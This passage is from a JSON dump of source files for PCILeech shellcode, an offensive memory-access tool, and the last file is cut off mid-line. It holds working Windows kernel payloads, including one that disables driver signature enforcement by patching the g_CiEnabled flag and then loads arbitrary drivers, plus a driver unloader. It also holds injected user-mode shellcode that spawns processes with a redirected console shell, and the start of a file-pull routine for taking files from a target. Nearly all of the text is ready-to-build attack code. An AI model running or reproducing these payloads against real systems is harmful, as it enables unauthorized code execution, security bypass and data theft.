{\n\t\tfnk->ZwClose(hFile);\n\t}\n\tif(NT_ERROR(nt)) {\n\t\tfnk->RtlFreeUnicodeString(pusImagePath);\n\t\treturn nt;\n\t}\n\treturn ERROR_SUCCESS;\n}\n\n/*\n* Get the Name (data after last \\) given a null terminated string.\n*/\nLPWSTR DriverRegGetImageNameFromPath(LPWSTR wszSrc)\n{\n\tDWORD i = 0, j = 0;\n\twhile(wszSrc[i] != 0) {\n\t\tif(wszSrc[i] == '\\\\') {\n\t\t\tj = i + 1;\n\t\t}\n\t\ti++;\n\t}\n\treturn &wszSrc[j];\n}\n\n/*\n* Set required values into a service registry key\n*/\nVOID DriverRegSetServiceKeys(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2, _In_ HANDLE hKeyHandle, _In_ PUNICODE_STRING pusImagePath)\n{\n\tWCHAR WSZ_ErrorControl[] = { 'E', 'r', 'r', 'o', 'r', 'C', 'o', 'n', 't', 'r', 'o', 'l', 0 };\n\tWCHAR WSZ_ImagePath[] = { 'I', 'm', 'a', 'g', 'e', 'P', 'a', 't', 'h', 0 };\n\tWCHAR WSZ_Start[] = { 'S', 't', 'a', 'r', 't', 0 };\n\tWCHAR WSZ_Type[] = { 'T', 'y', 'p', 'e', 0 };\n\tDWORD dwValue0 = 0, dwValue1 = 1, dwValue3 = 3;\n\tUNICODE_STRING usErrorControl, usImagePath, usStart, usType;\n\tUNREFERENCED_PARAMETER(pk);\n\tUNREFERENCED_PARAMETER(fnk2);\n\tfnk->RtlInitUnicodeString(&usErrorControl, WSZ_ErrorControl);\n\tfnk->RtlInitUnicodeString(&usImagePath, WSZ_ImagePath);\n\tfnk->RtlInitUnicodeString(&usStart, WSZ_Start);\n\tfnk->RtlInitUnicodeString(&usType, WSZ_Type);\n\tfnk2->ZwSetValueKey(hKeyHandle, &usStart, 0, REG_DWORD, (PVOID)&dwValue3, sizeof(DWORD)); // 3 = Load on Demand\n\tfnk2->ZwSetValueKey(hKeyHandle, &usType, 0, REG_DWORD, (PVOID)&dwValue1, sizeof(DWORD)); // 1 = Kernel Device Driver\n\tfnk2->ZwSetValueKey(hKeyHandle, &usErrorControl, 0, REG_DWORD, (PVOID)&dwValue0, sizeof(DWORD)); // 0 = Do not show warning\n\tfnk2->ZwSetValueKey(hKeyHandle, &usImagePath, 0, REG_SZ, pusImagePath->Buffer, pusImagePath->Length + 2);\n}\n\n/*\n* Try create a registry service that may be used by ZwLoadDriver to load a driver.\n*/\nNTSTATUS DriverRegCreateService(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2, _Out_ WCHAR wszServicePath[MAX_PATH])\n{\n\tNTSTATUS nt;\n\tWCHAR WSZ_ServicePathBase[] = { '\\\\', 'R', 'e', 'g', 'i', 's', 't', 'r', 'y', '\\\\',  'M', 'a', 'c', 'h', 'i', 'n', 'e', '\\\\', 'S', 'y', 's', 't', 'e', 'm', '\\\\', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'C', 'o', 'n', 't', 'r', 'o', 'l', 'S', 'e', 't', '\\\\', 'S', 'e', 'r', 'v', 'i', 'c', 'e', 's', '\\\\', 0 };\n\tUNICODE_STRING usRegPath, usImagePath;\n\tOBJECT_ATTRIBUTES _oaReg;\n\tLPWSTR wszImageName;\n\tHANDLE hKeyHandle;\n\t// fetch image name and path\n\tnt = DriverRegGetImagePath(pk, fnk, fnk2, &usImagePath);\n\tif(NT_ERROR(nt)) {\n\t\treturn nt;\n\t}\n\twszImageName = DriverRegGetImageNameFromPath(usImagePath.Buffer);\n\tfnk->RtlCopyMemory(wszServicePath, WSZ_ServicePathBase, sizeof(WSZ_ServicePathBase) + 2);\n\tfnk2->wcscat(wszServicePath, wszImageName);\n\tfnk->RtlInitUnicodeString(&usRegPath, wszServicePath);\n\t// create the reg key\n\tInitializeObjectAttributes(&_oaReg, &usRegPath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);\n\tnt = fnk2->ZwCreateKey(&hKeyHandle, KEY_ALL_ACCESS, &_oaReg, 0, NULL, REG_OPTION_VOLATILE, NULL);\n\tif(NT_SUCCESS(nt)) {\n\t\tDriverRegSetServiceKeys(pk, fnk, fnk2, hKeyHandle, &usImagePath);\n\t}\n\tfnk->RtlFreeUnicodeString(&usImagePath);\n\tfnk->ZwClose(hKeyHandle);\n\treturn nt;\n}\n\n/*\n* Retrieve the address of the code integrity flag\n* see: https://github.com/hfiref0x/DSEFix/blob/master/Source/ci-hunter\n*/\nQWORD GetAddr_g_CiEnabled(QWORD qwAddrModuleCi)\n{\n\tQWORD qwA;\n\tDWORD i = 0, j = 0;\n\tqwA = PEGetProcAddressH(qwAddrModuleCi, H_CiInitialize);\n\tif(!qwA) {\n\t\treturn 0;\n\t}\n\tdo {\n\t\t// JMP to CiInitialize sub function\n\t\t// TODO: add proper dasm instead of trivial opcode-scanning\n\t\tif(*(PBYTE)(qwA + i) == 0xE9) {\n\t\t\tqwA = qwA + i + 5 + *(PLONG)(qwA + i + 1);\n\t\t\tdo {\n\t\t\t\t// Scan for MOV to g_CiEnabled\n\t\t\t\tif(*(PUSHORT)(qwA + j) == 0x0D89) {\n\t\t\t\t\treturn qwA + j + 6 + *(PLONG)(qwA + j + 2);\n\t\t\t\t}\n\t\t\t\tj++;\n\t\t\t} while(j < 256);\n\t\t\treturn 0;\n\t\t}\n\t\ti++;\n\t} while(i < 128);\n\treturn 0;\n}\n\n/*\n* Load a driver by service name.\n*/\nNTSTATUS DriverLoadByServiceName(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2)\n{\n\tNTSTATUS nt;\n\tANSI_STRING saServicePath;\n\tUNICODE_STRING usServicePath;\n\tfnk->RtlCopyMemory(pk->dataOutStr, pk->dataInStr, MAX_PATH);\n\tfnk->RtlInitAnsiString(&saServicePath, pk->dataInStr);\n\tfnk->RtlAnsiStringToUnicodeString(&usServicePath, &saServicePath, TRUE);\n\tnt = fnk2->ZwLoadDriver(&usServicePath);\n\tfnk->RtlFreeUnicodeString(&usServicePath);\n\treturn nt;\n}\n\n/*\n* Load a driver by image path by creating a mock service, load the driver and then deleting the mock service.\n*/\nNTSTATUS DriverLoadByImagePath(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2)\n{\n\tNTSTATUS nt;\n\tWCHAR wszServicePath[MAX_PATH];\n\tUNICODE_STRING usServicePath;\n\tDWORD i;\n\tnt = DriverRegCreateService(pk, fnk, fnk2, wszServicePath);\n\tif(NT_ERROR(nt)) {\n\t\treturn nt;\n\t}\n\tfor(i = 0; i < MAX_PATH; i++) {\n\t\tpk->dataOutStr[i] = (CHAR)wszServicePath[i];\n\t}\n\tfnk->RtlInitUnicodeString(&usServicePath, wszServicePath);\n\treturn fnk2->ZwLoadDriver(&usServicePath);\n}\n\nVOID c_EntryPoint(_In_ PKMDDATA pk)\n{\n\tCHAR C_CI[] = { 'c', 'i', '.', 'd', 'l', 'l', 0 };\n\tKERNEL_FUNCTIONS ofnk;\n\tKERNEL_FUNCTIONS2 ofnk2;\n\tLPSTR s = pk->dataInStr;\n\tQWORD qwAddrModuleCI;\n\tPQWORD pqwModuleCI_g_PG = NULL;\n\tQWORD qwModuleCI_g_PG_Orig = 0;\n\tif(s[0] != '\\\\') {\n\t\tpk->dataOut[0] = ERROR_INVALID_PARAMETER;\n\t\treturn;\n\t}\n\t// initialize kernel functions\n\tInitializeKernelFunctions(pk->AddrKernelBase, &ofnk);\n\tInitializeKernelFunctions2(pk->AddrKernelBase, &ofnk2);\n\t// disable code signing\n\tqwAddrModuleCI = KernelGetModuleBase(&ofnk, C_CI);\n\tif(!qwAddrModuleCI) {\n\t\tpk->dataOut[0] = ERROR_MISSING_SYSTEMFILE;\n\t\treturn;\n\t}\n\tpqwModuleCI_g_PG = (PQWORD)GetAddr_g_CiEnabled(qwAddrModuleCI);\n\tqwModuleCI_g_PG_Orig = *pqwModuleCI_g_PG;\n\t*pqwModuleCI_g_PG = 0;\n\tif((s[1] == 'r' || s[1] == 'R') && (s[2] == 'e' || s[2] == 'E') && (s[3] == 'g' || s[3] == 'G')) {\n\t\t// load from registry path\n\t\tpk->dataOut[0] = DriverLoadByServiceName(pk, &ofnk, &ofnk2);\n\t}\n\telse {\n\t\t// load from image path\n\t\tpk->dataOut[0] = DriverLoadByImagePath(pk, &ofnk, &ofnk2);\n\t}\n\t// restore code signing to original state\n\t*pqwModuleCI_g_PG = qwModuleCI_g_PG_Orig;\n}"
  },
  {
    "path": "pcileech_shellcode/wx64_driverunload.c",
    "content": "// wx64_driverunload.c : kernel code to unload already loaded drivers.\n// Compatible with Windows x64.\n//\n// (c) Ulf Frisk, 2016\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_driverunload.c\n// ml64.exe wx64_common_a.asm /Fewx64_driverunload.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_driverunload.obj wx64_common.obj\n// shellcode64 -o wx64_driverunload.exe \"KERNEL MODULE UNLOADER - UNLOAD DRIVERS BY SERVICE NAME!             \\n=====================================================================\\nUnloads unsigned or signed drivers by registry service name.         \\nNB! Unloading a driver may cause the system to become unstable and   \\nmay trigger a bluescreen!                                            \\nREQUIRED OPTIONS:                                                    \\n  -s : service name.                                                 \\n       Example:                                                      \\n       \"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\mydriver\"\\n===== MODULE LOAD STATUS (RESULT) ===================================\\nLOAD NTSTATUS : %s0x%08X                                             \\n=====================================================================\\n\"\n//  \n#include \"wx64_common.h\"\n\n//----------------------------------------------------------------------------------------------------------\n\nVOID c_EntryPoint(_In_ PKMDDATA pk)\n{\n\tANSI_STRING saDriverServiceName;\n\tUNICODE_STRING suDriverServiceName;\n\tNTSTATUS(*fnZwUnloadDriver)(_In_ PUNICODE_STRING DriverServiceName);\n\tKERNEL_FUNCTIONS ofnk;\n\t// initialize kernel functions\n\tInitializeKernelFunctions(pk->AddrKernelBase, &ofnk);\n\tfnZwUnloadDriver = PEGetProcAddressH(pk->AddrKernelBase, H_ZwUnloadDriver);\n\t// try unload driver\n\tofnk.RtlInitAnsiString(&saDriverServiceName, pk->dataInStr);\n\tofnk.RtlAnsiStringToUnicodeString(&suDriverServiceName, &saDriverServiceName, TRUE);\n\tpk->dataOut[0] = fnZwUnloadDriver(&suDriverServiceName);\n\tofnk.RtlFreeUnicodeString(&suDriverServiceName);\n}"
  },
  {
    "path": "pcileech_shellcode/wx64_exec_user.asm",
    "content": "; wx64_exec_user.asm : assembly to receive execution from APC in user mode.\n;\n; (c) Ulf Frisk, 2016\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\nEXTRN c_EntryPoint:NEAR\n\n.CODE\n\nmain PROC\n\tlabel_main_base:\n\t; ----------------------------------------------------\n\t; 1: ENSURE ATOMICITY IN THREADED ENVIRONMENTS\n\t; ----------------------------------------------------\n\tMOV al, 00h\n\tMOV dl, 01h\n\tLEA rcx, data_cmpxchg_flag\n\tLOCK CMPXCHG [rcx], dl\n\tJNE skipcall\n    ; ----------------------------------------------------\n\t; 2: Fetch code address\n\t; ----------------------------------------------------\n\tLEA rcx, label_main_base\n\tAND rcx, 0fffffffffffff000h\n    ; ----------------------------------------------------\n\t; 3: Fetch KERNEL32 address\n\t; ----------------------------------------------------\n\tMOV  rdx, GS:[30h]    ; TEB\n\tMOV  rdx, [rdx + 60h] ; PEB\n\tMOV  rdx, [rdx + 18h] ; LDR\n\tMOV  rdx, [rdx + 20h] ; LIST_LOADED_MODULES\n\tMOV  rdx, [rdx]       ; NTDLL\n\tMOV  rdx, [rdx]       ; KERNEL32\n\tMOV  rdx, [rdx + 20h] ; ADDR of KERNEL32\n    ; ----------------------------------------------------\n\t; 4: Call c-code and return\n\t; ----------------------------------------------------\n\tPUSH rsi\n\tMOV rsi, rsp\n\tAND rsp, 0FFFFFFFFFFFFFFF0h\n\tSUB rsp, 020h\n\tCALL c_EntryPoint\n\tMOV rsp, rsi\n\tPOP rsi\n\tskipcall:\n\tRET\nmain ENDP\n\ndata_cmpxchg_flag\t\tdb 00h\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/wx64_exec_user_c.c",
    "content": "// wx64_exec_user_c.c : usermode code to be injected into user process to spawn new processes.\n//\n// (c) Ulf Frisk, 2016, 2017\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC wx64_exec_user_c.c\n// ml64 wx64_exec_user.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_exec_user_c.obj\n// shellcode64.exe -o wx64_exec_user.exe\n//\n\n// pb buffer memory map as per below:\n// 3 pages in total. Buffer begins at page boundry.\n// page 1: Read/Execute - executable part\n//         layout:\n//         0..n       = executable code (this executable shellcode)\n//         ..         = empty space\n//         m..0xfff   = USERSHELL_CONFIG struct\n//\n// If console redirection is enabled a separate buffer is allocated\n// and is as follows.\n// page 2: Read/Write     - input part (input to targeted console window)\n//         0..n           = USERSHELL_BUFFER_IO struct\n//         n+1..n+1+0x800 = input buffer\n// page 3: Read/Write     - output part (output from targeted console window)\n//         0..n           = USERSHELL_BUFFER_IO struct\n//         n+1..n+1+0x800 = output buffer\n\n#include <windows.h>\n\ntypedef unsigned __int64\t\tQWORD, *PQWORD;\n\n#define USERSHELL_BUFFER_IO_MAGIC       0x012651232dfef9521\n#define USERSHELL_BUFFER_IO_MAGIC_EXIT  0x0feda22001337daac\n#define USERSHELL_BUFFER_IO_SIZE        0x800\ntypedef struct tUSERSHELLBUFFERIO {\n\tQWORD qwMagic;\n\tQWORD cbRead;\n\tQWORD cbReadAck;\n\tQWORD qwDebug[10];\n\tBYTE  pb[];\n} USERSHELL_BUFFER_IO, *PUSERSHELL_BUFFER_IO;\n\ntypedef struct tdUserShellConfig {\n\tCHAR  szProcToStart[MAX_PATH];\n\tQWORD qwAddrConsoleBuffer;\n\tDWORD fCreateProcess;\n} USERSHELL_CONFIG, *PUSERSHELL_CONFIG;\n\n#define H_CloseHandle\t\t\t\t0x0ffd97fb\n#define H_CreatePipe\t\t\t\t0x170c8f80\n#define H_CreateProcessA\t\t\t0x16b3fe72\n#define H_CreateThread\t\t\t\t0xca2bd06b\n#define H_GetExitCodeProcess\t\t0xac30ab74\n#define H_LocalAlloc\t\t\t\t0x4c0297fa\n#define H_ReadFile\t\t\t\t\t0x10fa6516\n#define H_Sleep\t\t\t\t\t\t0xdb2d49b0\n#define H_WriteFile\t\t\t\t\t0xe80a791f\n\ntypedef struct tdUserShellFunctions {\n\tBOOL(*CloseHandle)(\n\t\t_In_ HANDLE hObject\n\t\t);\n\tBOOL(*CreatePipe)(\n\t\t_Out_    PHANDLE               hReadPipe,\n\t\t_Out_    PHANDLE               hWritePipe,\n\t\t_In_opt_ LPSECURITY_ATTRIBUTES lpPipeAttributes,\n\t\t_In_     DWORD                 nSize\n\t\t);\n\tBOOL(*CreateProcessA)(\n\t\t_In_opt_    LPCSTR                lpApplicationName,\n\t\t_Inout_opt_ LPSTR                 lpCommandLine,\n\t\t_In_opt_    LPSECURITY_ATTRIBUTES lpProcessAttributes,\n\t\t_In_opt_    LPSECURITY_ATTRIBUTES lpThreadAttributes,\n\t\t_In_        BOOL                  bInheritHandles,\n\t\t_In_        DWORD                 dwCreationFlags,\n\t\t_In_opt_    LPVOID                lpEnvironment,\n\t\t_In_opt_    LPCSTR                lpCurrentDirectory,\n\t\t_In_        LPSTARTUPINFO         lpStartupInfo,\n\t\t_Out_       LPPROCESS_INFORMATION lpProcessInformation\n\t\t);\n\tHANDLE(*CreateThread)(\n\t\t_In_opt_  LPSECURITY_ATTRIBUTES  lpThreadAttributes,\n\t\t_In_      SIZE_T                 dwStackSize,\n\t\t_In_      LPTHREAD_START_ROUTINE lpStartAddress,\n\t\t_In_opt_  LPVOID                 lpParameter,\n\t\t_In_      DWORD                  dwCreationFlags,\n\t\t_Out_opt_ LPDWORD                lpThreadId\n\t\t);\n\tBOOL(*GetExitCodeProcess)(\n\t\t_In_  HANDLE  hProcess,\n\t\t_Out_ LPDWORD lpExitCode\n\t\t);\n\tHLOCAL(*LocalAlloc)(\n\t\t_In_ UINT   uFlags,\n\t\t_In_ SIZE_T uBytes\n\t\t);\n\tBOOL(*ReadFile)(\n\t\t_In_        HANDLE       hFile,\n\t\t_Out_       LPVOID       lpBuffer,\n\t\t_In_        DWORD        nNumberOfBytesToRead,\n\t\t_Out_opt_   LPDWORD      lpNumberOfBytesRead,\n\t\t_Inout_opt_ LPOVERLAPPED lpOverlapped\n\t\t);\n\tVOID(*Sleep)(\n\t\t_In_ DWORD dwMilliseconds\n\t\t);\n\tBOOL(*WriteFile)(\n\t\t_In_        HANDLE       hFile,\n\t\t_In_        LPCVOID      lpBuffer,\n\t\t_In_        DWORD        nNumberOfBytesToWrite,\n\t\t_Out_opt_   LPDWORD      lpNumberOfBytesWritten,\n\t\t_Inout_opt_ LPOVERLAPPED lpOverlapped\n\t\t);\n} USERSHELL_FUNCTIONS, *PUSERSHELL_FUNCTIONS;\n\ntypedef struct tdUserShellData {\n\tPUSERSHELL_CONFIG pCfg;\n\tUSERSHELL_FUNCTIONS fnu;\n\tHANDLE hInWrite;\n\tHANDLE hOutRead;\n\tHANDLE hOutWriteCP;\n\tHANDLE hInReadCP;\n\tPUSERSHELL_BUFFER_IO pInfoIn;\n\tPUSERSHELL_BUFFER_IO pInfoOut;\n\tHANDLE hProcessHandle;\n\tBOOL bThreadIsActive;\n\tDWORD dwDebugData;\n} USERSHELL_DATA, *PUSERSHELL_DATA;\n\nDWORD HashROR13A(_In_ LPCSTR sz)\n{\n\tDWORD dwVal, dwHash = 0;\n\twhile(*sz) {\n\t\tdwVal = (DWORD)*sz++;\n\t\tdwHash = (dwHash >> 13) | (dwHash << 19);\n\t\tdwHash += dwVal;\n\t}\n\treturn dwHash;\n}\n\nPVOID PEGetProcAddressH(_In_ HMODULE hModuleIn, _In_ DWORD dwProcNameH)\n{\n\tULONG_PTR hModule = (ULONG_PTR)hModuleIn;\n\tPDWORD pdwRVAAddrNames, pdwRVAAddrFunctions;\n\tPWORD pwNameOrdinals;\n\tDWORD i, dwFnIdx, dwHash;\n\tLPSTR sz;\n\tPIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule; // dos header.\n\tPIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(hModule + dosHeader->e_lfanew); // nt header\n\tPIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + hModule);\n\tpdwRVAAddrNames = (PDWORD)(hModule + exp->AddressOfNames);\n\tpwNameOrdinals = (PWORD)(hModule + exp->AddressOfNameOrdinals);\n\tpdwRVAAddrFunctions = (PDWORD)(hModule + exp->AddressOfFunctions);\n\tfor(i = 0; i < exp->NumberOfNames; i++) {\n\t\tsz = (LPSTR)(hModule + pdwRVAAddrNames[i]);\n\t\tdwHash = HashROR13A(sz);\n\t\tif(dwHash == dwProcNameH) {\n\t\t\tdwFnIdx = pwNameOrdinals[i];\n\t\t\treturn (PVOID)(hModule + pdwRVAAddrFunctions[dwFnIdx]);\n\t\t}\n\t}\n\treturn 0;\n}\n\nVOID UserShellInitializeFunctions(_In_ HMODULE hModuleKernel32, _Out_ PUSERSHELL_FUNCTIONS fnu)\n{\n\tDWORD i = 0, NAMES[9];\n\tNAMES[i++] = H_CloseHandle;\n\tNAMES[i++] = H_CreatePipe;\n\tNAMES[i++] = H_CreateProcessA;\n\tNAMES[i++] = H_CreateThread;\n\tNAMES[i++] = H_GetExitCodeProcess;\n\tNAMES[i++] = H_LocalAlloc;\n\tNAMES[i++] = H_ReadFile;\n\tNAMES[i++] = H_Sleep;\n\tNAMES[i++] = H_WriteFile;\n\twhile(i) {\n\t\ti--;\n\t\t*((PQWORD)fnu + i) = (QWORD)PEGetProcAddressH(hModuleKernel32, NAMES[i]);\n\t}\n}\n\nBOOL UserShellIsProcessRunning(PUSERSHELL_DATA pd)\n{\n\tDWORD dwExit;\n\treturn pd->fnu.GetExitCodeProcess(pd->hProcessHandle, &dwExit) && (dwExit == STILL_ACTIVE);\n}\n\nVOID UserShellCleanup(PUSERSHELL_DATA pd)\n{\n\tpd->pInfoOut->qwMagic = 0;\n\tif(pd->bThreadIsActive) {\n\t\tpd->bThreadIsActive = FALSE;\n\t\tpd->fnu.CloseHandle(pd->hOutRead);\n\t\tpd->fnu.CloseHandle(pd->hInWrite);\n\t\tpd->fnu.CloseHandle(pd->hOutWriteCP);\n\t\tpd->fnu.CloseHandle(pd->hInReadCP);\n\t}\n\tpd->pInfoIn->qwMagic = USERSHELL_BUFFER_IO_MAGIC_EXIT;\n\tpd->pInfoOut->qwMagic = USERSHELL_BUFFER_IO_MAGIC_EXIT;\n}\n\n/*\n* Execute binary specified in configuration\n*/\nBOOL UserShellExec(_Inout_ PUSERSHELL_DATA pd)\n{\n\tLPSTARTUPINFO psi = pd->fnu.LocalAlloc(LMEM_ZEROINIT, sizeof(STARTUPINFO));\n\tPROCESS_INFORMATION pi;\n\t// set up data\n\tpsi->cb = sizeof(STARTUPINFO);\n\tpsi->dwFlags = STARTF_USESTDHANDLES;\n\tif(pd->pCfg->qwAddrConsoleBuffer) {\n\t\tpsi->hStdOutput = pd->hOutWriteCP;\n\t\tpsi->hStdInput = pd->hInReadCP;\n\t\tpsi->hStdError = pd->hOutWriteCP;\n\t}\n\t// launch executable\n\tif(!pd->fnu.CreateProcessA(NULL, pd->pCfg->szProcToStart, NULL, NULL, TRUE, pd->pCfg->fCreateProcess, NULL, NULL, psi, &pi)) {\n\t\treturn FALSE;\n\t}\n\tpd->hProcessHandle = pi.hProcess;\n\tif(pd->pCfg->qwAddrConsoleBuffer) {\n\t\tpd->fnu.CloseHandle(pi.hThread);\n\t}\n\treturn TRUE;\n}\n\n// in buffer -> child process\nVOID UserShellThreadWriter(PUSERSHELL_DATA pd)\n{\n\tDWORD cbWrite, cbModulo, cbModuloAck;\n\twhile(pd->bThreadIsActive && UserShellIsProcessRunning(pd)) {\n\t\tif(pd->pInfoIn->cbRead == pd->pInfoOut->cbReadAck) {\n\t\t\tpd->fnu.Sleep(10);\n\t\t\tcontinue;\n\t\t}\n\t\tcbModulo = pd->pInfoIn->cbRead % USERSHELL_BUFFER_IO_SIZE;\n\t\tcbModuloAck = pd->pInfoOut->cbReadAck % USERSHELL_BUFFER_IO_SIZE;\n\t\tif(cbModuloAck < cbModulo) {\n\t\t\tif(!pd->fnu.WriteFile(pd->hInWrite, pd->pInfoIn->pb + cbModuloAck, cbModulo - cbModuloAck, &cbWrite, NULL)) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tif(!pd->fnu.WriteFile(pd->hInWrite, pd->pInfoIn->pb + cbModuloAck, USERSHELL_BUFFER_IO_SIZE - cbModuloAck, &cbWrite, NULL)) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tpd->pInfoOut->cbReadAck += cbWrite;\n\t}\n\tUserShellCleanup(pd);\n}\n\n// child process -> out buffer\nVOID UserShellThreadReader(PUSERSHELL_DATA pd)\n{\n\tDWORD cbRead, cbModulo, cbModuloAck;\n\twhile(pd->bThreadIsActive && UserShellIsProcessRunning(pd)) {\n\t\tcbModulo = pd->pInfoOut->cbRead % USERSHELL_BUFFER_IO_SIZE;\n\t\tcbModuloAck = pd->pInfoIn->cbReadAck % USERSHELL_BUFFER_IO_SIZE;\n\t\tif(cbModuloAck <= cbModulo) {\n\t\t\tif(!pd->fnu.ReadFile(pd->hOutRead, pd->pInfoOut->pb + cbModulo, USERSHELL_BUFFER_IO_SIZE - cbModulo, &cbRead, NULL)) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t} else {\n\t\t\tif(!pd->fnu.ReadFile(pd->hOutRead, pd->pInfoOut->pb + cbModulo, cbModuloAck - cbModuloAck, &cbRead, NULL)) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tpd->pInfoOut->cbRead += cbRead;\n\t\twhile(((pd->pInfoOut->cbRead - pd->pInfoIn->cbReadAck) >= USERSHELL_BUFFER_IO_SIZE) && pd->bThreadIsActive && UserShellIsProcessRunning(pd)) {\n\t\t\tpd->fnu.Sleep(10);\n\t\t}\n\t}\n\tUserShellCleanup(pd);\n}\n\nVOID c_EntryPoint(PBYTE pb, ULONG_PTR lpBaseKernel32)\n{\n\tHLOCAL(*fnLocalAlloc)(UINT, SIZE_T);\n\tPUSERSHELL_DATA pd;\n\tSECURITY_ATTRIBUTES sa;\n\tBOOL result;\n\t// set up USERSHELL_DATA struct\n\tfnLocalAlloc = PEGetProcAddressH(lpBaseKernel32, H_LocalAlloc);\n\tpd = fnLocalAlloc(LMEM_ZEROINIT, sizeof(USERSHELL_DATA));\n\tpd->pCfg = (PUSERSHELL_CONFIG)(pb + 0x1000 - sizeof(USERSHELL_CONFIG));\n\tUserShellInitializeFunctions(lpBaseKernel32, &pd->fnu);\n\t// Intialize console redirection #1/2\n\tif(pd->pCfg->qwAddrConsoleBuffer) {\n\t\tsa.nLength = sizeof(SECURITY_ATTRIBUTES);\n\t\tsa.lpSecurityDescriptor = NULL;\n\t\tsa.bInheritHandle = TRUE;\n\t\tpd->pInfoIn = (PUSERSHELL_BUFFER_IO)pd->pCfg->qwAddrConsoleBuffer;\n\t\tpd->pInfoOut = (PUSERSHELL_BUFFER_IO)(pd->pCfg->qwAddrConsoleBuffer + 0x1000);\n\t\tpd->pInfoIn->qwMagic = USERSHELL_BUFFER_IO_MAGIC;\n\t\tpd->pInfoOut->qwMagic = USERSHELL_BUFFER_IO_MAGIC;\n\t\tresult = pd->fnu.CreatePipe(&pd->hInReadCP, &pd->hInWrite, &sa, 0x800);\n\t\tpd->fnu.CreatePipe(&pd->hOutRead, &pd->hOutWriteCP, &sa, 0x800);\n\t\tpd->bThreadIsActive = TRUE;\n\t}\n\t// create process\n\tif(!UserShellExec(pd)) {\n\t\tUserShellCleanup(pd);\n\t\treturn;\n\t}\n\t// Initalize console redirection #2/2\n\tif(pd->pCfg->qwAddrConsoleBuffer) {\n\t\tpd->fnu.CreateThread(NULL, 0, &UserShellThreadWriter, pd, 0, NULL);\n\t\tpd->fnu.CreateThread(NULL, 0, &UserShellThreadReader, pd, 0, NULL);\n\t}\n}\n"
  },
  {
    "path": "pcileech_shellcode/wx64_filepull.c",
    "content": "// wx64_filepull.c : kernel code to pull files from target system.\n// Compatible with Windows x64.\n//\n// (c) Ulf Frisk, 2016\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_filepull.c\n// ml64 wx64_common_a.asm /Fewx64_filepull.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_filepull.obj wx64_common.obj\n// shellcode64.exe -o wx64_filepull.exe \"PULL FILES FROM TARGET SYSTEM                                  \\n===============================================================\\nPull a file from the target system to the local system.        \\nREQUIRED OPTIONS:                                              \\n  -out : file on local system to write result to.              \\n         filename is given in normal format.                   \\n         Example: '-out c:\\temp\\myexefile.exe'                 \\n  -s   : file on target system.                                \\n         filename is given in kernel format (\\??\\-prefix)      \\n         Example: '-s \\??\\c:\\program files\\myexefile.exe'      \\n===== PULL ATTEMPT DETAILED RESULT INFORMATION ================\\nFILE NAME     : %s\\nNTSTATUS      : 0x%08X\\n===============================================================\\n\"\n// \n#include \"wx64_common.h\"\n\n#define STATUS_UNSUCCESSFUL\t\t\t\t\t\t0xC0000001\n#define OBJ_CASE_INSENSITIVE    \t\t\t\t0x00000040\n#define FILE_SYNCHRONOUS_IO_NONALERT\t\t\t0x00000020\n#define FILE_OPEN\t\t\t\t\t\t\t\t0x00000001\n#define FILE_OVERWRITE_IF\t\t\t\t\t\t0x00000005\n#define OBJ_KERNEL_HANDLE       \t\t\t\t0x00000200\n\nVOID c_EntryPoint(_In_ PKMDDATA pk)\n{\n\tNTSTATUS nt;\n\tHANDLE hFile;\n\tIO_STATUS_BLOCK _io;\n\tOBJECT_ATTRIBUTES _oa;\n\tANSI_STRING _sa;\n\tUNICODE_STRING _su;\n\tKERNEL_FUNCTIONS ofnk;\n\tPKERNEL_FUNCTIONS fnk;\n\tBOOL isModeLargeTransfer = FALSE;\n\tif(!pk->dataInStr[0]) {\n\t\tpk->dataOut[0] = (QWORD)STATUS_UNSUCCESSFUL;\n\t\treturn;\n\t}\n\t// initialize kernel functions and strings\n\tInitializeKernelFunctions(pk->AddrKernelBase, &ofnk);\n\tfnk = &ofnk;\n\tfnk->RtlInitAnsiString(&_sa, pk->dataInStr);\n\tfnk->RtlCopyMemory(pk->dataOutStr, pk->dataInStr, 260);\n\tfnk->RtlAnsiStringToUnicodeString(&_su, &_sa, TRUE);\n\tfnk->RtlZeroMemory(&_oa, 